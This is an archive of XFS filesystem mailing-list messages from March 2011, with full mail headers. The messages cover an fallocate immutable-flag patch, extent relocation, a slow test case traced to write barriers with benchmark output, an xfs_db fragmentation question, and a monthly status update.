14 Mar 2011 03:24:32 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Pz4ws-0007pa-IG; Mon, 14 Mar 2011 10:24:26 +0000 Date: Mon, 14 Mar 2011 06:24:26 -0400 From: Christoph Hellwig To: Dave Chinner Cc: Marco Stornelli , Linux Kernel , linux-ext4@vger.kernel.org, linux-btrfs@vger.kernel.org, cluster-devel@redhat.com, xfs@oss.sgi.com, Linux FS Devel X-ASG-Orig-Subj: Re: [PATCH v2] Check for immutable flag in fallocate path Subject: Re: [PATCH v2] Check for immutable flag in fallocate path Message-ID: <20110314102426.GA29888@infradead.org> References: <4D6221B8.9040303@gmail.com> <4D6F5473.2070709@gmail.com> <20110303213903.GL15097@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110303213903.GL15097@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1300098282 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Fri, Mar 04, 2011 at 08:39:03AM +1100, Dave Chinner wrote: > WTF? Why does append mode have any effect on whether we can punch > holes in a file or not? There's no justification for adding this in > the commit message. Why is it even in a patch that is for checking > immutable inodes? What is the point of adding it, when all that will > happen is people will switch to XFS_IOC_UNRESVSP which has never had > this limitation? xfs_ioc_space unconditionally rejects inodes with S_APPEND set for all preallocation / hole punching ioctls. This might be overzealous for preallocations not changing the size, or just extending i_size, but it's IMHO entirely correct for hole punching. From BATV+c4d806e2249323cb8898+2759+infradead.org+hch@bombadil.srs.infradead.org Mon Mar 14 05:33:40 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2EAXTRv065406 for ; Mon, 14 Mar 2011 05:33:40 -0500 X-ASG-Debug-ID: 1300098983-11ff001a0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id F02CB138EB3B for ; Mon, 14 Mar 2011 03:36:23 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id nABEVASdtcggEIIl for ; Mon, 14 Mar 2011 03:36:23 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Pz58Q-0002AB-Ts; Mon, 14 Mar 2011 10:36:22 +0000 Date: Mon, 14 Mar 2011 06:36:22 -0400 From: Christoph Hellwig To: Steven Swanson Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: Does XFS ever relocate extents after they are on disk? Subject: Re: Does XFS ever relocate extents after they are on disk? Message-ID: <20110314103622.GA715@infradead.org> References: <903E14DC-D9EA-4BDC-8D43-FBB9AB4127BC@cs.ucsd.edu> <20110311100936.GA11879@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1300098983 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Fri, Mar 11, 2011 at 02:29:30PM -0800, Steven Swanson wrote: > Christoph, > > Thanks for the quick reply. > > Here's another question: If I write data to an extent that already exists, am I also guaranteed that the new data will overwrite the same location? For instance, will XFS ever relocate an extent on a write in order to expand the extent? Right now it won't. I wouldn't call that a guaranteed though - e.g. if we're ever going to finish off storig file data in the inode for small files we'll have to migrate them out of the inode once we create the first extent. From marco.stornelli@gmail.com Mon Mar 14 05:51:44 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,FREEMAIL_FROM, J_CHICKENPOX_42,T_DKIM_INVALID autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2EApdoJ066135 for ; Mon, 14 Mar 2011 05:51:44 -0500 X-ASG-Debug-ID: 1300100072-013b01a00000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail-qy0-f181.google.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 2A1453429B2 for ; Mon, 14 Mar 2011 03:54:32 -0700 (PDT) Received: from mail-qy0-f181.google.com (mail-qy0-f181.google.com [209.85.216.181]) by cuda.sgi.com with ESMTP id MJpMBZzLnkRg1p7z for ; Mon, 14 Mar 2011 03:54:32 -0700 (PDT) Received: by qyg14 with SMTP id 14so4227818qyg.5 for ; Mon, 14 Mar 2011 03:54:32 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type :content-transfer-encoding; bh=jksURX9Pwr+wGBdGXvyfeU9AyGsFs1xZINkbDv/CKbQ=; b=HJ0G66x5wPb5YFgUuHhd7prkoRj/aQtHNq5gDLT4HmcLAW0sx8g+pbgkbpdnXwVf3q OaD7GNq6GEEXQV6fgiuIpLF3bdJuYS6auM9IHVeX6hU4+DQup/OLLkUhzZoyPRW8oUtF m99anwGUArDenngwotG9o6Bc0zlXyKcDXRhxQ= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type:content-transfer-encoding; b=kqYc0Z1WmrPUgQMMz1/CkBIIviX/kIg9VJIKgVccy4eyjxOPEprFGhEP2XZZ4NUYew 3kWEuOXgNu3jJUQmGTcNwgi6zsT6QpssY8A3+aeB4iK5xlQINpNcHFNQWrRb3UDyimAN gHMRoI9OpfXpA5xrdDAjrNmCwCGMySfG6Cz6U= MIME-Version: 1.0 Received: by 10.229.102.85 with SMTP id f21mr63081qco.25.1300099226658; Mon, 14 Mar 2011 03:40:26 -0700 (PDT) Received: by 10.229.221.206 with HTTP; Mon, 14 Mar 2011 03:40:26 -0700 (PDT) In-Reply-To: <20110314102426.GA29888@infradead.org> References: <4D6221B8.9040303@gmail.com> <4D6F5473.2070709@gmail.com> <20110303213903.GL15097@dastard> <20110314102426.GA29888@infradead.org> Date: Mon, 14 Mar 2011 11:40:26 +0100 Message-ID: X-ASG-Orig-Subj: Re: [PATCH v2] Check for immutable flag in fallocate path Subject: Re: [PATCH v2] Check for immutable flag in fallocate path From: Marco Stornelli To: Christoph Hellwig Cc: Dave Chinner , Linux Kernel , linux-ext4@vger.kernel.org, linux-btrfs@vger.kernel.org, cluster-devel@redhat.com, xfs@oss.sgi.com, Linux FS Devel Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable X-Barracuda-Connect: mail-qy0-f181.google.com[209.85.216.181] X-Barracuda-Start-Time: 1300100073 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57863 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean 2011/3/14 Christoph Hellwig : > On Fri, Mar 04, 2011 at 08:39:03AM +1100, Dave Chinner wrote: >> WTF? =A0Why does append mode have any effect on whether we can punch >> holes in a file or not? There's no justification for adding this in >> the commit message. Why is it even in a patch that is for checking >> immutable inodes? What is the point of adding it, when all that will >> happen is people will switch to XFS_IOC_UNRESVSP which has never had >> this limitation? > > xfs_ioc_space unconditionally rejects inodes with S_APPEND set for > all preallocation / hole punching ioctls. =A0This might be overzealous fo= r > preallocations not changing the size, or just extending i_size, but it's > IMHO entirely correct for hole punching. > xfs_ioc_space is in the ioctl path, but we are talking about the fallocate path. Both of them calls the xfs_change_file_space, isnt'it? However we are agree about hole punching, the patch is already in Linus's git tree. Marco From sekharan@us.ibm.com Mon Mar 14 21:24:22 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_28 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2F2OBTl101096 for ; Mon, 14 Mar 2011 21:24:22 -0500 X-ASG-Debug-ID: 1300156014-0b46017d0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from e31.co.us.ibm.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id BAC8F1DEA33D for ; Mon, 14 Mar 2011 19:26:55 -0700 (PDT) Received: from e31.co.us.ibm.com (e31.co.us.ibm.com [32.97.110.149]) by cuda.sgi.com with ESMTP id fYY1TRUVkNOcu66n for ; Mon, 14 Mar 2011 19:26:55 -0700 (PDT) Received: from d03relay02.boulder.ibm.com (d03relay02.boulder.ibm.com [9.17.195.227]) by e31.co.us.ibm.com (8.14.4/8.13.1) with ESMTP id p2F2BbYs006326 for ; Mon, 14 Mar 2011 20:11:37 -0600 Received: from d03av02.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.195.168]) by d03relay02.boulder.ibm.com (8.13.8/8.13.8/NCO v9.1) with ESMTP id p2F2Qm2L111406 for ; Mon, 14 Mar 2011 20:26:48 -0600 Received: from d03av02.boulder.ibm.com (loopback [127.0.0.1]) by d03av02.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id p2F2Qle6015920 for ; Mon, 14 Mar 2011 20:26:48 -0600 Received: from [9.47.24.164] (chandra-lucid.beaverton.ibm.com [9.47.24.164]) by d03av02.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id p2F2Qkbu015889; Mon, 14 Mar 2011 20:26:47 -0600 X-ASG-Orig-Subj: Re: testcase 011 trips and ASSERT in x86_64 too Subject: Re: testcase 011 trips and ASSERT in x86_64 too From: Chandra Seetharaman Reply-To: sekharan@us.ibm.com To: Dave Chinner Cc: XFS Mailing List In-Reply-To: <20110313004810.GE15097@dastard> References: <1299899166.32230.629.camel@chandra-lucid.beaverton.ibm.com> <20110313004810.GE15097@dastard> Content-Type: text/plain; charset="UTF-8" Organization: IBM Date: Mon, 14 Mar 2011 19:29:32 -0700 Message-ID: <1300156172.32230.670.camel@chandra-lucid.beaverton.ibm.com> Mime-Version: 1.0 X-Mailer: Evolution 2.28.3 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: e31.co.us.ibm.com[32.97.110.149] X-Barracuda-Start-Time: 1300156025 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57925 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Sun, 2011-03-13 at 11:48 +1100, Dave Chinner wrote: Thanks for your response, Dave. > As i said before, the debug check is known to be racy. Having it > trigger is not necessarily a sign of a problem. I have only ever > tripped it once since the way the check operates was changed. > There's no point in spending time trying to analyse it and explain > it as we already know why and how it can trigger in a racy manner. Oh, may be I misunderstood. In your earlier reply you mentioned that you wanted to know if the problem is consistently reproducible. Since it was, I went on to debug the problem. If it is not an issue, it will be a good idea to reduce that ASSERT to WARN_ON_ONCE() as you mentioned. > > > Then I started comparing the behavioral difference bet the two ARCHs, > > and I found that in POWER I see more number of threads at a time (max of > > 4 threads) in the function xlog_grant_log_space(), whereas in x86_64 I > > see max of only two and mostly it is only one. > > > > I also noted that in POWER test case 011 takes about 8 seconds whereas > > in x86_64, it takes about 165 seconds. > > > > So, I ventured into the core of test case 011, dirstress, and found that > > simply creating 1000s of files under a directory takes very long time in > > x86_64 compare to POWER(1 min 15s Vs 2s) > > On my x86-64 boxes, test 011 takes 3s with CONFIG_XFS_DEBUG=y, all > lock checking turned on, memory poisoning active, etc. With a > prodution kernel, it usually takes 1s. Even on a single SATA drive. > > So, without knowing anything about your x86-64 machine, I'd say > there's something wrong with it or it's configuration. Try turning > off barriers and seeing if that makes it go faster.... Slowness happened in two x86_64 blades. In the blade where the storage is a SSD device, nobarrier helped drastically. ========== [root@test27 chandra]# mount -o nobarrier /dev/disk/by-id/wwn-0x5000a7203002f7e4-part1 /mnt/xfsMntPt/ [root@test27 chandra]# time ./b /mnt/xfsMntPt/d1/ 10000 1 i 0 real 0m1.983s user 0m0.026s sys 0m1.365s =================== Whereas, in the blade where the storage is a SAN disk, it didn't help much. Note that I verified the disk is performing fine by using a ext4 filesystem. =================== [root@test65 chandra]# mount /dev/sdb1 /mnt/xfs [root@test65 chandra]# mount /dev/sdb2 /mnt/ext4 [root@test65 chandra]# tail -2 /proc/mounts /dev/sdb1 /mnt/xfs xfs rw,seclabel,relatime,attr2,noquota 0 0 /dev/sdb2 /mnt/ext4 ext4 rw,seclabel,relatime,barrier=1,data=ordered 0 0 [root@test65 chandra]# time ./b /mnt/ext4/d1 10000 1 i 0 real 0m0.332s user 0m0.006s sys 0m0.264s [root@test65 chandra]# time ./b /mnt/xfs/d1 10000 1 i 0 real 1m35.620s user 0m0.012s sys 0m0.735s [root@test65 chandra]# mount -o nobarrier /dev/sdb1 /mnt/xfs [root@test65 chandra]# tail -2 /proc/mounts /dev/sdb2 /mnt/ext4 ext4 rw,seclabel,relatime,barrier=1,data=ordered 0 0 /dev/sdb1 /mnt/xfs xfs rw,seclabel,relatime,attr2,nobarrier,noquota 0 0 [root@test65 chandra]# time ./b /mnt/xfs/d1 10000 1 i 0 real 1m6.772s user 0m0.011s sys 0m0.739s ======================== What else could affect the behavior like this ? Also, note that in power I get the fast performace with barrier on. Thanks, chandra From weikun0905@gmail.com Tue Mar 15 01:43:16 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.9 required=5.0 tests=BAYES_50,FREEMAIL_FROM, HTML_MESSAGE,J_CHICKENPOX_44,T_DKIM_INVALID,T_TO_NO_BRKTS_FREEMAIL autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2F6hAsY113186 for ; Tue, 15 Mar 2011 01:43:16 -0500 X-ASG-Debug-ID: 1300171564-4a55010b0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail-vw0-f53.google.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 18817AD9F72 for ; Mon, 14 Mar 2011 23:46:04 -0700 (PDT) Received: from mail-vw0-f53.google.com (mail-vw0-f53.google.com [209.85.212.53]) by cuda.sgi.com with ESMTP id NUUy5zPwyeV3tLPz for ; Mon, 14 Mar 2011 23:46:04 -0700 (PDT) Received: by vws18 with SMTP id 18so294159vws.26 for ; Mon, 14 Mar 2011 23:46:04 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:date:message-id:subject:from:to :content-type; bh=31k0ICZFFkyq6hUGlF4Q6KcgjlDUL78CoKvsejieYRU=; b=jzv+O93LAk5ugrNJvUGXISQAwgvahWdT3cqVxDbSchSISZB4s0OtDTZRO6GeihnSKt ZEC4M5NuKpPRW3guuP9gdML1Ln1Ydyz6Q3W7RKzkMse56F79miu3bnT7pK8DOwKVrIYz QE8knZOZD0Qe8qiJRwzB0uG0B3+/ifTgDPCy4= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type; b=rbjHx+oRVbODIQL1aqqPeDhSS++ATiFLbBqxKSinWmak8RNKUa1AtIUz9ps7egXZlH XQv2KZfmaA6khBiNsrHiowVqR4k49e/9hYBYahGIx5Uh3gBXOIpAkIblGZEdXDQp+EFs YE+WwOcW1QHZ8E+qAz9zettvPqMu6ttVqQoRs= MIME-Version: 1.0 Received: by 10.52.179.201 with SMTP id di9mr6613395vdc.225.1300171564211; Mon, 14 Mar 2011 23:46:04 -0700 (PDT) Received: by 10.220.189.2 with HTTP; Mon, 14 Mar 2011 23:46:04 -0700 (PDT) Date: Tue, 15 Mar 2011 14:46:04 +0800 Message-ID: X-ASG-Orig-Subj: Some problem about the xfs_db?? Subject: Some problem about the xfs_db?? From: "Vincent,Wei" To: xfs@oss.sgi.com Content-Type: multipart/alternative; boundary=bcaec5014bf33b5c53049e7fc833 X-Barracuda-Connect: mail-vw0-f53.google.com[209.85.212.53] X-Barracuda-Start-Time: 1300171565 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0826 1.0000 -1.4979 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -1.50 X-Barracuda-Spam-Status: No, SCORE=-1.50 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57942 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean --bcaec5014bf33b5c53049e7fc833 Content-Type: text/plain; charset=ISO-8859-1 Hi all I used the xfs_db to check the fragment about my disk. First I had format the disk,then I try to write the file on it. 5min later, we use df -h to check: /dev/sda1 465.6G 295.4M 465.3G 0% /mnt/hdd0 Now I use the : xfs_db -c frag -r /dev/sda1 actual 616, ideal 30, fragmentation factor 95.13% why?? this is nearly a new disk!!! How can it so many fragments? Thanks for your help!! --bcaec5014bf33b5c53049e7fc833 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable
Hi all
=A0=A0=A0=A0=A0I used the xf= s_db to check the fragment about my disk.
First I had format the disk,= then I try to write the file on it.
5min later, we use df -h to = check:
/dev/sda1=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 465.6G=A0=A0=A0 29= 5.4M=A0=A0=A0 465.3G=A0=A0 0% /mnt/hdd0
Now I use the :
xfs_db -c frag=A0 -r /dev/sda1
actual 616, ideal 30, fragmentation = factor 95.13%
=A0
why?? this is nearly a new disk!!! How can it so many fragments?
=A0
=A0
Thanks for your help!!
--bcaec5014bf33b5c53049e7fc833-- From david@fromorbit.com Tue Mar 15 05:04:00 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.7 required=5.0 tests=BAYES_00,J_CHICKENPOX_44, J_CHICKENPOX_73 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2FA3sNM121406 for ; Tue, 15 Mar 2011 05:04:00 -0500 X-ASG-Debug-ID: 1300183607-16c700280000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail05.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id A2B9D15939BB for ; Tue, 15 Mar 2011 03:06:47 -0700 (PDT) Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id nbjBhefCsKQjQv5H for ; Tue, 15 Mar 2011 03:06:47 -0700 (PDT) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AkUEAF7Xfk15LK5JgWdsb2JhbACmDRUBARYmJcJqDYVVBJJW Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail05.adl6.internode.on.net with ESMTP; 15 Mar 2011 20:36:46 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1PzR99-00064o-Vr; Tue, 15 Mar 2011 21:06:36 +1100 Date: Tue, 15 Mar 2011 21:06:35 +1100 From: Dave Chinner To: "Vincent,Wei" Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: Some problem about the xfs_db?? Subject: Re: Some problem about the xfs_db?? Message-ID: <20110315100635.GN15097@dastard> References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1300183608 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0209 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57956 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Tue, Mar 15, 2011 at 02:46:04PM +0800, Vincent,Wei wrote: > Hi all > I used the xfs_db to check the fragment about my disk. > First I had format the disk,then I try to write the file on it. > 5min later, we use df -h to check: > /dev/sda1 465.6G 295.4M 465.3G 0% /mnt/hdd0 > Now I use the : > xfs_db -c frag -r /dev/sda1 > actual 616, ideal 30, fragmentation factor 95.13% > > why?? this is nearly a new disk!!! How can it so many fragments? What kernel? What's the output of "xfs_info "? What command did you use to write the file? What's the extent map of the file look like (i.e. xfs_bmap output)? Cheers, Dave. -- Dave Chinner david@fromorbit.com From BATV+f96e7dcfff9a9bd545af+2760+infradead.org+hch@bombadil.srs.infradead.org Tue Mar 15 11:36:05 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2FGZs1V136913 for ; Tue, 15 Mar 2011 11:36:05 -0500 X-ASG-Debug-ID: 1300207118-45af00960000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 9B18D1DEC347 for ; Tue, 15 Mar 2011 09:38:39 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id nHreeANSVCq9OoK1 for ; Tue, 15 Mar 2011 09:38:39 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1PzXGX-0002ot-26; Tue, 15 Mar 2011 16:38:37 +0000 Date: Tue, 15 Mar 2011 12:38:37 -0400 From: Christoph Hellwig To: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org X-ASG-Orig-Subj: XFS status update for February 2011 Subject: XFS status update for February 2011 Message-ID: <20110315163836.GA10748@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1300207129 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean February saw the stabilization of the Linux 2.6.38 tree, with just two small XFS fixes going into Linus' tree, and the XFS development tree has been similarly quite with just a few cleanups, and the delaylog option propagated to the default operation mode. A few more patches for the 2.6.39 merge window have been posted and/or discussed on the mailing list, but February was a rather quite month in general. On the user space side xfsprogs saw a few bug fixes, and a speedup for phase2 of xfs_repair, xfsdump saw a bug fix and support for pruning the inventory by session id, and xfstests saw it's usual stream of bug fixes as well as two new test cases. From BATV+d8c25c840cd6b22b5ec9+2762+infradead.org+hch@bombadil.srs.infradead.org Thu Mar 17 09:20:41 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2HEKUqW244373 for ; Thu, 17 Mar 2011 09:20:41 -0500 X-ASG-Debug-ID: 1300371795-373a00740000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id E12A310EE14E for ; Thu, 17 Mar 2011 07:23:15 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id 3V7jPhOIbsEm655m for ; Thu, 17 Mar 2011 07:23:15 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q0E6b-0008WJ-Rg; Thu, 17 Mar 2011 14:23:13 +0000 Date: Thu, 17 Mar 2011 10:23:13 -0400 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH] xfs: preallocation transactions do not need to be synchronous Subject: Re: [PATCH] xfs: preallocation transactions do not need to be synchronous Message-ID: <20110317142313.GA32673@infradead.org> References: <1299713852-7663-1-git-send-email-david@fromorbit.com> <20110310073634.GA25374@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110310073634.GA25374@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1300371806 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Thu, Mar 10, 2011 at 02:36:34AM -0500, Christoph Hellwig wrote: > I had the same patch in my queue, but it turns out even that isn't > enough for good performance when used fallocate in the fast path (e.g. > recent Samba). I'll send a more comprehensive optimization that > includes this soon. > > I also refactored the whole area to make the various flags more > sensible. Given that 2.6.38 is out now and I won't have my series ready in time I'm fine with putting your minimal version in for now, I'll port mine on top. Reviewed-by: Christoph Hellwig From BATV+d8c25c840cd6b22b5ec9+2762+infradead.org+hch@bombadil.srs.infradead.org Thu Mar 17 09:21:47 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com 